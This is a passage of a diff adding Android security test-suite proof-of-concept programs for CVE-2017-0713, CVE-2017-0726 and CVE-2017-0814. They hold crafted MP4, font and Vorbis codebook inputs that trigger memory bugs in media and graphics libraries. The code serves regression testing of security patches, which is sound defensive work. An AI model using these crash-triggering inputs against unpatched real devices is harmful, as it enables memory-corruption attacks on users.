+ "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ MediaExtractor::CreatorFunc creator = NULL;
+ MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor *ret = creator(dataSource.get(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp < MetaData > metaData = new MetaData();
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ ret->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/Android.mk
new file mode 100644
index 0000000..2d30646
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0713
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/skia/include/core
+LOCAL_SHARED_LIBRARIES := libhwui
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/poc.cpp
new file mode 100644
index 0000000..ca922be
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/poc.cpp
@@ -0,0 +1,81 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include "SkDocument.h"
+#include "SkStream.h"
+#include "SkTypeface.h"
+#include "SkCanvas.h"
+
+#define ALLOC_SIZE 191422
+void* g_mmap_ptr = NULL;
+
+void * operator new(size_t size) {
+ if (size != ALLOC_SIZE) {
+ return malloc(size);
+ }
+ void* mem_ptr = mmap(NULL, size, PROT_READ | PROT_WRITE,
+ MAP_FILE | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+ if (mem_ptr == MAP_FAILED) {
+ return malloc(size);
+ }
+ g_mmap_ptr = mem_ptr;
+ return mem_ptr;
+}
+
+void operator delete(void* mem_ptr) {
+ if(g_mmap_ptr == mem_ptr) {
+ munmap(mem_ptr, ALLOC_SIZE);
+ return;
+ }
+ return free(mem_ptr);
+}
+
+struct NullWStream : public SkWStream {
+ NullWStream()
+ : fN(0) {
+ }
+ bool write(const void*, size_t n) override {
+ fN += n;
+ return true;
+ }
+ size_t bytesWritten() const override {
+ return fN;
+ }
+ size_t fN;
+};
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ SkWStream* outputStream = new NullWStream();
+ SkScalar pageWidth = 100;
+ SkScalar pageHeight = 100;
+ SkPaint paint;
+ char text[] = "C";
+ sk_sp < SkDocument > pdfDocument(SkDocument::MakePDF(outputStream));
+ SkCanvas* pageCanvas = pdfDocument->beginPage(pageWidth, pageHeight);
+ sk_sp < SkTypeface > typeFace = SkTypeface::MakeFromFile(argv[1]);
+ paint.setTypeface(typeFace);
+ pageCanvas->drawText(text, strlen(text), 0, 0, paint);
+ pdfDocument->endPage();
+ pdfDocument->close();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk
new file mode 100644
index 0000000..61bb374
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0726
+LOCAL_SRC_FILES:= poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..b72b986
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,127 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <media/IMediaHTTPService.h>
+#include <media/DataSource.h>
+#include <media/stagefright/DataSourceFactory.h>
+#include <media/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#include <media/IMediaExtractor.h>
+#include <media/DataSourceBase.h>
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+unsigned char mp4_data[] = { 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70,
+ 0x6D, 0x70, 0x34, 0x32, 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32,
+ 0x64, 0x62, 0x79, 0x31, 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74,
+ 0x6D, 0x6F, 0x6F, 0x76, 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61,
+ 0x00, 0x00, 0x00, 0x64, 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x58, 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50,
+ 0x2D, 0x2D, 0x2D, 0x2D, 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E,
+ 0x00, 0x00, 0x00, 0x00, 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C,
+ 0x65, 0x2E, 0x69, 0x54, 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14,
+ 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E,
+ 0x53, 0x4D, 0x50, 0x42, 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61,
+ 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34,
+ 0x20, 0x33, 0x20, 0x32 };
+
+#define TOTAL_SIZE 524432
+#define DATA_SIZE 144
+#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
+#define LIB_NAME "/system/lib64/extractors/libmp4extractor.so"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) {
+ return (size == TRACK_SIZE);
+}
+
+int main() {
+
+#if _64_BIT
+ FILE* fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char zero_array[TOTAL_SIZE - DATA_SIZE];
+ memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+ /* Write mp4 stream */
+ fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+ /* Append 0's to create custom PoC */
+ fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIB_NAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
+ TMP_FILE);
+ if (dataSource == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor::GetExtractorDef getDef =
+ (MediaExtractor::GetExtractorDef) dlsym(libHandle,
+ "GETEXTRACTORDEF");
+ if (!getDef) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ MediaExtractor::CreatorFunc creator = NULL;
+ MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+ if (!creator) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor *ret = creator(dataSource.get(), meta);
+ if (ret == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp < MetaData > metaData = new MetaData();
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ ret->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.mk
new file mode 100644
index 0000000..9da15a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0814
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES += ./external/tremolo
+LOCAL_SHARED_LIBRARIES := libvorbisidec
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/poc.cpp
new file mode 100644
index 0000000..3f79113
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/poc.cpp
@@ -0,0 +1,379 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <string.h>
+#include <stdlib.h>
+
+#define REF_COUNT 1
+#define DECODE_PACKET 1
+
+extern "C" {
+#include <Tremolo/codec_internal.h>
+
+int _vorbis_unpack_books(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_info(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_comment(vorbis_comment *vc, oggpack_buffer *opb);
+}
+const uint8_t packInfoData[] = { 0x00, 0x00, 0x00, 0x00, 0x02, 0x80, 0xBB, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0xBB, 0x01 };
+
+unsigned char unpackBookData[] = { 0x1C, 0x42, 0x43, 0x56, 0x02, 0x00, 0x10,
+ 0x00, 0x00, 0x84, 0x74, 0x9A, 0x59, 0xAA, 0x01, 0x22, 0xCC, 0x40, 0x86,
+ 0x81, 0xD0, 0x90, 0x95, 0x00, 0x00, 0x02, 0x00, 0x00, 0x60, 0x84, 0x22,
+ 0x0C, 0x31, 0x20, 0x34, 0x64, 0x25, 0x00, 0x00, 0x10, 0x00, 0x00, 0x20,
+ 0x86, 0x92, 0x83, 0x68, 0x42, 0x6B, 0xCE, 0x37, 0xE7, 0x38, 0x68, 0x96,
+ 0x83, 0xA6, 0x52, 0x6C, 0x4E, 0x07, 0x27, 0x52, 0x6D, 0x9E, 0xE4, 0xA6,
+ 0x62, 0x6E, 0xCE, 0x39, 0xE7, 0x9C, 0x73, 0xB2, 0x39, 0x67, 0x8C, 0x73,
+ 0xCE, 0x39, 0xA7, 0x28, 0x67, 0x16, 0x83, 0x66, 0x42, 0x6B, 0xCE, 0x39,
+ 0x27, 0x31, 0x68, 0x96, 0x82, 0x66, 0x42, 0x6B, 0xCE, 0x39, 0xE7, 0x49,
+ 0x6C, 0x1E, 0xB4, 0xA6, 0x4A, 0x6B, 0xCE, 0x39, 0x67, 0x9C, 0x73, 0x3A,
+ 0x18, 0x67, 0x84, 0x71, 0xCE, 0x39, 0xA7, 0x49, 0x6B, 0x1E, 0xA4, 0x66,
+ 0x63, 0x6D, 0xCE, 0x39, 0x67, 0x41, 0x6B, 0x9A, 0xA3, 0xE6, 0x52, 0x6C,
+ 0xCE, 0x39, 0x27, 0x52, 0x6E, 0x9E, 0xD4, 0xE6, 0x52, 0x6D, 0xCE, 0x39,
+ 0xE7, 0x9C, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x73, 0xCE, 0x39, 0xA7, 0x7A,
+ 0x71, 0x3A, 0x07, 0xE7, 0x84, 0x73, 0xCE, 0x39, 0x27, 0x6A, 0x6F, 0xAE,
+ 0xE5, 0x26, 0x74, 0x71, 0xCE, 0x39, 0xE7, 0x93, 0x71, 0xBA, 0x37, 0x27,
+ 0x84, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x73,
+ 0xCE, 0x39, 0x27, 0x08, 0x0D, 0x59, 0x09, 0x00, 0x00, 0x01, 0x00, 0x10,
+ 0x84, 0x61, 0x63, 0x18, 0x77, 0x0A, 0x82, 0xF4, 0x39, 0x1A, 0x88, 0x51,
+ 0x84, 0x98, 0x86, 0x4C, 0x7A, 0xD0, 0x3D, 0x3A, 0x4C, 0x82, 0xC6, 0x20,
+ 0xA7, 0x90, 0x7A, 0x34, 0x3A, 0x1A, 0x29, 0xA5, 0x0E, 0x42, 0x49, 0x65,
+ 0x9C, 0x94, 0xD2, 0x09, 0x42, 0x43, 0x56, 0x02, 0x00, 0x80, 0x00, 0x00,
+ 0x10, 0x42, 0x48, 0x21, 0x85, 0x14, 0x52, 0x48, 0x21, 0x85, 0x14, 0x52,
+ 0x48, 0x21, 0x85, 0x18, 0x62, 0x88, 0x21, 0x86, 0x9C, 0x72, 0xCA, 0x29,
+ 0xA8, 0xA0, 0x92, 0x4A, 0x2A, 0xAA, 0x28, 0xA3, 0xCC, 0x32, 0xCB, 0x2C,
+ 0xB3, 0xCC, 0x32, 0xCB, 0x2C, 0xB3, 0x0E, 0x3B, 0xEB, 0xAC, 0xC3, 0x0E,
+ 0x43, 0x0C, 0x31, 0xC4, 0xD0, 0x4A, 0x2B, 0xB1, 0xD4, 0x54, 0x5B, 0x8D,
+ 0x35, 0xD6, 0x9A, 0x7B, 0xCE, 0xB9, 0xE6, 0x20, 0xAD, 0x95, 0xD6, 0x5A,
+ 0x6B, 0xAD, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x82, 0xD0, 0x90, 0x95,
+ 0x00, 0x00, 0x08, 0x00, 0x00, 0x81, 0x90, 0x41, 0x06, 0x19, 0x64, 0x14,
+ 0x52, 0x48, 0x21, 0x85, 0x18, 0x62, 0xCA, 0x29, 0xA7, 0x9C, 0x82, 0x0A,
+ 0x2A, 0x20, 0x34, 0x64, 0x25, 0x00, 0x00, 0x06, 0x00, 0xC0, 0x21, 0x67,
+ 0xA0, 0x81, 0x06, 0x1A, 0x68, 0xA0, 0x81, 0x06, 0x1A, 0x68, 0xA0, 0x71,
+ 0xC6, 0x19, 0x88, 0x20, 0x82, 0x08, 0x22, 0xA8, 0xA4, 0x92, 0x4C, 0x3A,
+ 0x0A, 0x29, 0xB5, 0xD8, 0x6A, 0xCC, 0x31, 0xD7, 0x5E, 0x83, 0x0E, 0x3A,
+ 0xF7, 0x9E, 0x7B, 0xEF, 0xB9, 0xF8, 0x1C, 0x84, 0x52, 0x4A, 0x29, 0xA5,
+ 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0x25, 0x08, 0x0D,
+ 0x59, 0x09, 0x00, 0x80, 0x00, 0x00, 0x00, 0x08, 0x21, 0x84, 0x10, 0x52,
+ 0x48, 0x21, 0x85, 0x14, 0x52, 0x8A, 0x31, 0xC6, 0x1C, 0x73, 0x0E, 0x3A,
+ 0x09, 0x25, 0x04, 0x42, 0x43, 0x56, 0x02, 0x00, 0x60, 0x00, 0x00, 0x0C,
+ 0x31, 0xC4, 0x18, 0x64, 0x90, 0x41, 0x48, 0x21, 0x85, 0x18, 0x62, 0x8A,
+ 0x29, 0xC7, 0x1C, 0x73, 0x0C, 0x3A, 0x08, 0x21, 0x94, 0x52, 0x52, 0x68,
+ 0xA1, 0x85, 0x5C, 0x6A, 0x88, 0x25, 0x96, 0x56, 0x5A, 0x89, 0xA5, 0xA5,
+ 0x98, 0x6A, 0x8B, 0xB1, 0xD6, 0x58, 0x73, 0xED, 0x31, 0xD6, 0xDE, 0x7B,
+ 0xEF, 0xBD, 0xF7, 0xDE, 0x7B, 0xEF, 0xBD, 0xF7, 0xDE, 0x7B, 0xCE, 0x81,
+ 0xD0, 0x90, 0x95, 0x00, 0x40, 0x04, 0x00, 0x00, 0x83, 0x0C, 0x22, 0x88,
+ 0x20, 0x82, 0x8C, 0x31, 0x06, 0x21, 0x04, 0x84, 0x86, 0xAC, 0x04, 0x00,
+ 0x40, 0x00, 0x00, 0x10, 0x62, 0x88, 0x31, 0xC6, 0x20, 0x84, 0x10, 0x52,
+ 0x88, 0x21, 0xA7, 0x9C, 0x82, 0x4C, 0x32, 0xE9, 0xA4, 0xA3, 0x90, 0x02,
+ 0xA1, 0x21, 0x2B, 0x01, 0x00, 0x27, 0x00, 0x00, 0x84, 0x11, 0x47, 0x24,
+ 0x71, 0x04, 0x12, 0x67, 0xA0, 0x81, 0x08, 0x2A, 0xA9, 0x20, 0xA3, 0xCC,
+ 0x42, 0x2C, 0xB1, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B,
+ 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5,
+ 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0x2D, 0x10, 0x1A, 0xB2,
+ 0x12, 0x00, 0x88, 0x00, 0x00, 0x60, 0x90, 0x41, 0x06, 0x19, 0x44, 0x10,
+ 0x41, 0x04, 0x19, 0x64, 0x80, 0xD0, 0x90, 0x95, 0x00, 0x00, 0x08, 0x00,
+ 0x00, 0x23, 0x8C, 0x40, 0x04, 0x19, 0xA5, 0x14, 0x63, 0x8E, 0x39, 0xE6,
+ 0x18, 0x74, 0xD0, 0x41, 0x27, 0x1D, 0x85, 0x16, 0x5A, 0x20, 0x34, 0x64,
+ 0x25, 0x00, 0xE0, 0x04, 0x00, 0x40, 0x20, 0xA1, 0x88, 0x32, 0xCC, 0x30,
+ 0x04, 0x11, 0x55, 0x54, 0x51, 0x46, 0x15, 0x55, 0x14, 0x52, 0x47, 0x29,
+ 0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94,
+ 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A,
+ 0x29, 0xA5, 0x54, 0x4A, 0x29, 0xA5, 0x04, 0x42, 0x43, 0x56, 0x02, 0x00,
+ 0x64, 0x00, 0x00, 0x90, 0xA2, 0x94, 0x52, 0x29, 0x2D, 0x45, 0x82, 0x22,
+ 0xA5, 0x18, 0xA4, 0x18, 0x4B, 0x46, 0x15, 0x73, 0x50, 0x5A, 0x8A, 0xA8,
+ 0x72, 0x0C, 0x52, 0xCD, 0xA9, 0x52, 0xCE, 0x20, 0xE6, 0x24, 0x96, 0x88,
+ 0x31, 0x84, 0x94, 0x93, 0x54, 0x32, 0xE6, 0x14, 0x42, 0x0C, 0x42, 0xEA,
+ 0x1C, 0x75, 0x4C, 0x29, 0x06, 0x2D, 0x95, 0x18, 0x42, 0xC6, 0x18, 0xA4,
+ 0xD8, 0x72, 0x4B, 0xA1, 0x73, 0x0E, 0x08, 0x0D, 0x59, 0x21, 0x00, 0x84,
+ 0x66, 0x00, 0x38, 0x1C, 0x07, 0x90, 0x2C, 0x0B, 0x90, 0x2C, 0x0B, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x4D, 0x03, 0x34, 0xCF, 0x03,
+ 0x2C, 0xCD, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xD3,
+ 0x00, 0xCB, 0xD3, 0x00, 0xCD, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x90, 0x34, 0x0D, 0xD0, 0x3C, 0x0F, 0xD0, 0x3C, 0x0F, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xCF, 0x03, 0x3C, 0x4F, 0x04,
+ 0x3C, 0x51, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xF3,
+ 0x00, 0x4D, 0xF4, 0x00, 0x4F, 0x14, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x90, 0x34, 0x0D, 0xD0, 0x3C, 0x0F, 0xD0, 0x3C, 0x0F, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xCF, 0x03, 0x3C, 0x51, 0x04,
+ 0x34, 0x4F, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xF3,
+ 0x00, 0x4F, 0x14, 0x01, 0x4F, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
